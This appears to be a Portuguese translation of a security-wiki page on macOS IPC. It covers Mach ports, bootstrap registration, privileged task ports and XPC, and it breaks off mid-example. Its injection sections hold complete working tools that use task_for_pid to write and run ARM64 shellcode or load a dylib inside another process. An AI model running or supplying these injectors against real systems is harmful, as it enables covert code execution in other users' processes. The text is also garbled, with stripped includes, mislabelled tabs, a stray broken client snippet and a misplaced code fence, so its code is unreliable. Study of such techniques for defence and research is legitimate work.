# macOS IPC - Comunicação Interprocessos
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## Mensagens Mach via Portas
O Mach usa **tarefas** como a **unidade mínima** para compartilhar recursos, e cada tarefa pode conter **várias threads**. Essas **tarefas e threads são mapeadas em um para um com processos e threads POSIX**.
A comunicação entre tarefas ocorre por meio da Comunicação Interprocessos (IPC) do Mach, utilizando canais de comunicação unidirecionais. **As mensagens são transferidas entre portas**, que funcionam como **filas de mensagens** gerenciadas pelo kernel.
Os direitos de porta, que definem quais operações uma tarefa pode executar, são fundamentais para essa comunicação. Os possíveis **direitos de porta** são:
* **Direito de recebimento**, que permite receber mensagens enviadas para a porta. As portas Mach são filas MPSC (múltiplos produtores, único consumidor), o que significa que pode haver apenas **um direito de recebimento para cada porta** em todo o sistema (ao contrário de pipes, onde vários processos podem ter descritores de arquivo para a extremidade de leitura de um pipe).
* Uma **tarefa com o direito de recebimento** pode receber mensagens e **criar direitos de envio**, permitindo o envio de mensagens. Originalmente, apenas a **própria tarefa tem o direito de recebimento sobre sua porta**.
* **Direito de envio**, que permite o envio de mensagens para a porta.
* **Direito de envio único**, que permite o envio de uma única mensagem para a porta e depois desaparece.
* **Direito de conjunto de portas**, que denota um _conjunto de portas_ em vez de uma única porta. Desenfileirar uma mensagem de um conjunto de portas desenfileira uma mensagem de uma das portas que ele contém. Conjuntos de portas podem ser usados para escutar várias portas simultaneamente, de forma semelhante a `select`/`poll`/`epoll`/`kqueue` no Unix.
* **Nome morto**, que não é um direito de porta real, mas apenas um espaço reservado. Quando uma porta é destruída, todos os direitos de porta existentes para a porta se tornam nomes mortos.
**As tarefas podem transferir direitos de ENVIO para outros**, permitindo que eles enviem mensagens de volta. **Os direitos de ENVIO também podem ser clonados, para que uma tarefa possa duplicar e dar o direito a uma terceira tarefa**. Isso, combinado com um processo intermediário conhecido como **servidor de inicialização**, permite uma comunicação eficaz entre tarefas.
#### Etapas:
Como mencionado, para estabelecer o canal de comunicação, o **servidor de inicialização** (**launchd** no Mac) está envolvido.
1. A tarefa **A** inicia uma **nova porta**, obtendo um **direito de RECEBIMENTO** no processo.
2. A tarefa **A**, sendo a detentora do direito de RECEBIMENTO, **gera um direito de ENVIO para a porta**.
3. A tarefa **A** estabelece uma **conexão** com o **servidor de inicialização**, fornecendo o **nome do serviço da porta** e o **direito de ENVIO** por meio de um procedimento conhecido como registro de inicialização.
4. A tarefa **B** interage com o **servidor de inicialização** para executar uma **busca de inicialização para o serviço**. Se bem-sucedido, o **servidor duplica o direito de ENVIO** recebido da Tarefa A e o **transmite para a Tarefa B**.
5. Ao adquirir um direito de ENVIO, a tarefa **B** é capaz de **formular** uma **mensagem** e enviá-la **para a Tarefa A**.
O servidor de inicialização **não pode autenticar** o nome do serviço reivindicado por uma tarefa. Isso significa que uma **tarefa** poderia potencialmente **se passar por qualquer tarefa do sistema**, como reivindicar falsamente um nome de serviço de autorização e, em seguida, aprovar todas as solicitações.
Em seguida, a Apple armazena os **nomes dos serviços fornecidos pelo sistema** em arquivos de configuração seguros, localizados em diretórios protegidos pelo SIP: `/System/Library/LaunchDaemons` e `/System/Library/LaunchAgents`. Ao lado de cada nome de serviço, o **binário associado também é armazenado**. O servidor de inicialização criará e manterá um **direito de RECEBIMENTO para cada um desses nomes de serviço**.
Para esses serviços predefinidos, o **processo de busca difere um pouco**. Quando um nome de serviço está sendo procurado, o launchd inicia o serviço dinamicamente. O novo fluxo de trabalho é o seguinte:
* A tarefa **B** inicia uma **busca de inicialização** para um nome de serviço.
* O **launchd** verifica se a tarefa está em execução e, se não estiver, a **inicia**.
* A tarefa **A** (o serviço) realiza um **check-in de inicialização**. Aqui, o **servidor de inicialização** cria um direito de ENVIO, o retém e **transfere o direito de RECEBIMENTO para a Tarefa A**.
* O launchd duplica o **direito de ENVIO e o envia para a Tarefa B**.
No entanto, esse processo se aplica apenas a tarefas do sistema predefinidas. Tarefas não do sistema ainda operam conforme descrito originalmente, o que poderia permitir potencialmente a falsificação.
### Exemplo de código
Observe como o **remetente** **aloca** uma porta, cria um **direito de envio** para o nome `org.darlinghq.example` e o envia para o **servidor de inicialização** enquanto o remetente solicitou o **direito de envio** desse nome e o usou para **enviar uma mensagem**.
{% tabs %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include
#include
#include
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
```c
#include
#include
#include
#include
#include
#define BUFFER_SIZE 100
int main(int argc, char** argv) {
mach_port_t server_port;
kern_return_t kr;
char buffer[BUFFER_SIZE];
// Create a send right to the server port
kr = bootstrap_look_up(bootstrap_port, "com.example.server", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up server port: %s\n", mach_error_string(kr));
exit(1);
}
// Send a message to the server
strcpy(buffer, "Hello, server!");
kr = mach_msg_send((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to send message: %s\n", mach_error_string(kr));
exit(1);
}
// Receive a reply from the server
kr = mach_msg_receive((mach_msg_header_t*)buffer);
if (kr != KERN_SUCCESS) {
printf("Failed to receive reply: %s\n", mach_error_string(kr));
exit(1);
}
printf("Received reply: %s\n", buffer);
return 0;
}
```
{% endtab %}
{% tab title="receiver.c" %}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include
#include
#include
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{% endtab %}
{% endtabs %}
### Portas Privilegiadas
* **Porta do host**: Se um processo tem o **privilégio de envio** sobre esta porta, ele pode obter **informações** sobre o **sistema** (por exemplo, `host_processor_info`).
* **Porta de privilégio do host**: Um processo com o direito de **envio** sobre esta porta pode realizar **ações privilegiadas**, como carregar uma extensão do kernel. O **processo precisa ser root** para obter essa permissão.
* Além disso, para chamar a API **`kext_request`**, é necessário ter a autorização **`com.apple.private.kext`**, que é fornecida apenas para binários da Apple.
* **Porta do nome da tarefa**: Uma versão não privilegiada da _porta da tarefa_. Ela faz referência à tarefa, mas não permite controlá-la. A única coisa que parece estar disponível através dela é `task_info()`.
* **Porta da tarefa** (também conhecida como porta do kernel)**:** Com permissão de envio sobre esta porta, é possível controlar a tarefa (ler/escrever memória, criar threads...).
* Chame `mach_task_self()` para **obter o nome** desta porta para a tarefa chamadora. Esta porta é **herdada** apenas através do **`exec()`**; uma nova tarefa criada com `fork()` recebe uma nova porta de tarefa (como um caso especial, uma tarefa também recebe uma nova porta de tarefa após `exec()` em um binário suid). A única maneira de criar uma tarefa e obter sua porta é realizar a ["dança de troca de porta"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) enquanto faz um `fork()`.
* Estas são as restrições para acessar a porta (de `macos_task_policy` do binário `AppleMobileFileIntegrity`):
* Se o aplicativo tiver a autorização **`com.apple.security.get-task-allow`**, processos do **mesmo usuário podem acessar a porta da tarefa** (comumente adicionado pelo Xcode para depuração). O processo de **notarização** não permitirá isso em lançamentos de produção.
* Aplicativos com a autorização **`com.apple.system-task-ports`** podem obter a **porta da tarefa para qualquer** processo, exceto o kernel. Em versões mais antigas, era chamada **`task_for_pid-allow`**. Isso é concedido apenas a aplicativos da Apple.
* **Root pode acessar portas de tarefas** de aplicativos **não** compilados com um tempo de execução **reforçado** (e não da Apple).
### Injeção de Shellcode no Processo via Porta da Tarefa
Você pode obter um shellcode em:
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
{% tabs %}
{% tab title="mysleep.m" %}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo] processIdentifier]);
[NSThread sleepForTimeInterval:99999];
}
return 0;
}
```
{% tab title="entitlements.plist" %}
```xml
com.apple.security.get-task-allow
```
{% endtab %}
{% endtabs %}
**Compile** o programa anterior e adicione as **permissões** para poder injetar código com o mesmo usuário (caso contrário, você precisará usar **sudo**).
injector.m
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import
#import
#include
#include
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Write the shellcode to the allocated memory
kr = mach_vm_write(remoteTask, // Task port
remoteCode64, // Virtual Address (Destination)
(vm_address_t) injectedCode, // Source
0xa9); // Length of the source
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
return (-3);
}
// Set the permissions on the allocated code memory
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
return (-4);
}
// Set the permissions on the allocated stack memory
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
return (-4);
}
// Create thread to run shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
//remoteStack64 -= 8; // need alignment of 16
const char* p = (const char*) remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
if (kr != KERN_SUCCESS) {
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
return (-3);
}
return (0);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %s ", argv[0]);
return 1;
}
pid_t pid = atoi(argv[1]);
inject(pid);
}
return 0;
}
```
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
### Injeção de Processo Dylib via Porta de Tarefa
No macOS, as **threads** podem ser manipuladas através do **Mach** ou usando a **API posix `pthread`**. A thread que geramos na injeção anterior foi gerada usando a API Mach, então **não é compatível com posix**.
Foi possível **injetar um shellcode simples** para executar um comando porque ele **não precisava trabalhar com APIs compatíveis com posix**, apenas com Mach. Injeções **mais complexas** precisariam que a **thread** também fosse **compatível com posix**.
Portanto, para **melhorar o shellcode**, ele deve chamar **`pthread_create_from_mach_thread`**, que irá **criar um pthread válido**. Em seguida, esse novo pthread pode **chamar o dlopen** para **carregar nossa dylib** do sistema.
Você pode encontrar **exemplos de dylibs** em (por exemplo, aquele que gera um log e depois você pode ouvi-lo):
{% content-ref url="../../macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](../../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
{% endcontent-ref %}
dylib_injector.m
```objectivec
// gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
// Based on http://newosxbook.com/src.jl?tree=listings&file=inject.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#ifdef __arm64__
//#include "mach/arm/thread_status.h"
// Apple says: mach/mach_vm.h:1:2: error: mach_vm.h unsupported
// And I say, bullshit.
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
char injectedCode[] =
"\x00\x00\x20\xd4" // BRK X0 ; // useful if you need a break :)
// Call pthread_set_self
"\xff\x83\x00\xd1" // SUB SP, SP, #0x20 ; Allocate 32 bytes of space on the stack for local variables
"\xFD\x7B\x01\xA9" // STP X29, X30, [SP, #0x10] ; Save frame pointer and link register on the stack
"\xFD\x43\x00\x91" // ADD X29, SP, #0x10 ; Set frame pointer to current stack pointer
"\xff\x43\x00\xd1" // SUB SP, SP, #0x10 ; Space for the
"\xE0\x03\x00\x91" // MOV X0, SP ; (arg0)Store in the stack the thread struct
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 (arg1) = 0;
"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
"\x00\x00\x00\x14" // loop: b loop ; loop forever
// Call dlopen with the path to the library
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
// Call pthread_exit
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
"PTHRDCRT" // <-
"PTHRDEXT" // <-
"DLOPEN__" // <-
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
int inject(pid_t pid, const char *lib) {
task_t remoteTask;
struct stat buf;
// Check if the library exists
int rc = stat (lib, &buf);
if (rc != 0)
{
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
//return (-9);
}
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
if (kr != KERN_SUCCESS) {
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
return (-1);
}
else{
printf("Gathered privileges over the task port of process: %d\n", pid);
}
// Allocate memory for the stack
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
else
{
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
}
// Allocate memory for the code
remoteCode64 = (vm_address_t) NULL;
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS)
{
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
return (-2);
}
// Patch shellcode
int i = 0;
char *possiblePatchLocation = (injectedCode );
for (i = 0 ; i < 0x100; i++)
{
// Patching is crude, but works.
//
extern void *_pthread_set_self;
possiblePatchLocation++;
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
uint64_t addrOfDlopen = (uint64_t) dlopen;
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
}
```c
if (memcmp(possiblePatchLocation, "PTHRDCRT", 8) == 0)
{
memcpy(possiblePatchLocation, &addrOfPthreadCreate, 8);
printf("Pthread create a partir do mach thread @%llx\n", addrOfPthreadCreate);
}
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
{
printf("DLOpen @%llx\n", addrOfDlopen);
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
}
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
{
strcpy(possiblePatchLocation, lib);
}
}
// Escreva o shellcode na memória alocada
kr = mach_vm_write(remoteTask, // Porta da tarefa
remoteCode64, // Endereço virtual (Destino)
(vm_address_t) injectedCode, // Origem
0xa9); // Comprimento da origem
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível escrever na memória da thread remota: Erro %s\n", mach_error_string(kr));
return (-3);
}
// Defina as permissões na memória do código alocado
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível definir as permissões de memória para o código da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}
// Defina as permissões na memória da pilha alocada
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível definir as permissões de memória para a pilha da thread remota: Erro %s\n", mach_error_string(kr));
return (-4);
}
// Crie uma thread para executar o shellcode
struct arm_unified_thread_state remoteThreadState64;
thread_act_t remoteThread;
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64));
remoteStack64 += (STACK_SIZE / 2); // esta é a pilha real
//remoteStack64 -= 8; // precisa de alinhamento de 16
const char *p = (const char *)remoteCode64;
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
remoteThreadState64.ts_64.__pc = (u_int64_t)remoteCode64;
remoteThreadState64.ts_64.__sp = (u_int64_t)remoteStack64;
printf("Pilha Remota 64 0x%llx, Código Remoto é %p\n", remoteStack64, p);
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
(thread_state_t)&remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT, &remoteThread);
if (kr != KERN_SUCCESS)
{
fprintf(stderr, "Não foi possível criar a thread remota: erro %s", mach_error_string(kr));
return (-3);
}
return (0);
}
int main(int argc, const char *argv[])
{
if (argc < 3)
{
fprintf(stderr, "Uso: %s _pid_ _ação_\n", argv[0]);
fprintf(stderr, " _ação_: caminho para um dylib no disco\n");
exit(0);
}
pid_t pid = atoi(argv[1]);
const char *action = argv[2];
struct stat buf;
int rc = stat(action, &buf);
if (rc == 0)
inject(pid, action);
else
{
fprintf(stderr, "Dylib não encontrado\n");
}
}
```
```bash
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject
```
### Injeção de Thread via Porta de Tarefa
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
{% endcontent-ref %}
## XPC
### Informações Básicas
XPC, que significa Comunicação Interprocessos (IPC) do XNU (o kernel usado pelo macOS), é uma estrutura para **comunicação entre processos** no macOS e iOS. O XPC fornece um mecanismo para fazer chamadas de método **seguras e assíncronas entre diferentes processos** no sistema. É parte do paradigma de segurança da Apple, permitindo a **criação de aplicativos com privilégios separados**, onde cada **componente** é executado com **apenas as permissões necessárias** para realizar seu trabalho, limitando assim os danos potenciais de um processo comprometido.
O XPC usa uma forma de Comunicação Interprocessos (IPC), que é um conjunto de métodos para que programas diferentes em execução no mesmo sistema possam enviar dados de ida e volta.
Os principais benefícios do XPC incluem:
1. **Segurança**: Ao separar o trabalho em diferentes processos, cada processo pode receber apenas as permissões necessárias. Isso significa que, mesmo que um processo seja comprometido, ele tem capacidade limitada de causar danos.
2. **Estabilidade**: O XPC ajuda a isolar falhas no componente onde ocorrem. Se um processo falhar, ele pode ser reiniciado sem afetar o restante do sistema.
3. **Desempenho**: O XPC permite fácil concorrência, pois diferentes tarefas podem ser executadas simultaneamente em diferentes processos.
A única **desvantagem** é que **separar um aplicativo em vários processos** e fazê-los se comunicar via XPC é **menos eficiente**. Mas nos sistemas de hoje isso quase não é perceptível e os benefícios são muito melhores.
Um exemplo pode ser visto no QuickTime Player, onde um componente que usa XPC é responsável pela decodificação de vídeo. O componente é especificamente projetado para realizar tarefas computacionais e, portanto, no caso de uma violação, não forneceria nenhum ganho útil ao invasor, como acesso a arquivos ou à rede.
### Serviços XPC Específicos do Aplicativo
Os componentes XPC de um aplicativo estão **dentro do próprio aplicativo**. Por exemplo, no Safari, você pode encontrá-los em **`/Applications/Safari.app/Contents/XPCServices`**. Eles têm a extensão **`.xpc`** (como **`com.apple.Safari.SandboxBroker.xpc`**) e também são **bundles** com o binário principal dentro dele: `/Applications/Safari.app/Contents/XPCServices/com.apple.Safari.SandboxBroker.xpc/Contents/MacOS/com.apple.Safari.SandboxBroker`
Como você pode estar pensando, um **componente XPC terá diferentes direitos e privilégios** do que os outros componentes XPC ou o binário principal do aplicativo. EXCETO se um serviço XPC for configurado com [**JoinExistingSession**](https://developer.apple.com/documentation/bundleresources/information\_property\_list/xpcservice/joinexistingsession) definido como "True" em seu arquivo **Info.plist**. Nesse caso, o serviço XPC será executado na mesma sessão de segurança do aplicativo que o chamou.
Os serviços XPC são **iniciados** pelo **launchd** quando necessário e **encerrados** quando todas as tarefas são **concluídas** para liberar recursos do sistema. **Os componentes XPC específicos do aplicativo só podem ser utilizados pelo aplicativo**, reduzindo assim o risco associado a possíveis vulnerabilidades.
### Serviços XPC em Todo o Sistema
Os serviços XPC em todo o sistema são acessíveis a todos os usuários. Esses serviços, sejam do tipo launchd ou Mach, precisam ser **definidos em arquivos plist** localizados em diretórios especificados, como **`/System/Library/LaunchDaemons`**, **`/Library/LaunchDaemons`**, **`/System/Library/LaunchAgents`** ou **`/Library/LaunchAgents`**.
Esses arquivos plist terão uma chave chamada **`MachServices`** com o nome do serviço e uma chave chamada **`Program`** com o caminho para o binário:
```xml
cat /Library/LaunchDaemons/com.jamf.management.daemon.plist
Program
/Library/Application Support/JAMF/Jamf.app/Contents/MacOS/JamfDaemon.app/Contents/MacOS/JamfDaemon
AbandonProcessGroup
KeepAlive
Label
com.jamf.management.daemon
MachServices
com.jamf.management.daemon.aad
com.jamf.management.daemon.agent
com.jamf.management.daemon.binary
com.jamf.management.daemon.selfservice
com.jamf.management.daemon.service
RunAtLoad
```
Os presentes em **`LaunchDameons`** são executados pelo root. Portanto, se um processo não privilegiado puder se comunicar com um deles, ele poderá conseguir privilégios elevados.
### Mensagens de Evento XPC
As aplicações podem **se inscrever** em diferentes **mensagens de evento**, permitindo que sejam **iniciadas sob demanda** quando esses eventos ocorrerem. A **configuração** desses serviços é feita em arquivos **plist do launchd**, localizados nos **mesmos diretórios dos anteriores** e contendo uma chave adicional **`LaunchEvent`**.
### Verificação do Processo de Conexão XPC
Quando um processo tenta chamar um método por meio de uma conexão XPC, o **serviço XPC deve verificar se esse processo tem permissão para se conectar**. Aqui estão as maneiras comuns de verificar isso e as armadilhas comuns:
{% content-ref url="macos-xpc-connecting-process-check.md" %}
[macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md)
{% endcontent-ref %}
### Autorização XPC
A Apple também permite que os aplicativos **configurem alguns direitos e como obtê-los**, para que, se o processo de chamada os tiver, ele seja **autorizado a chamar um método** do serviço XPC:
{% content-ref url="macos-xpc-authorization.md" %}
[macos-xpc-authorization.md](macos-xpc-authorization.md)
{% endcontent-ref %}
### Exemplo de Código C
{% tabs %}
{% tab title="xpc_server.c" %}
```c
// gcc xpc_server.c -o xpc_server
#include
static void handle_event(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "message");
printf("Received message: %s\n", received_message);
// Create a response dictionary
xpc_object_t response = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(response, "received", "received");
// Send response
xpc_connection_t remote = xpc_dictionary_get_remote_connection(event);
xpc_connection_send_message(remote, response);
// Clean up
xpc_release(response);
}
}
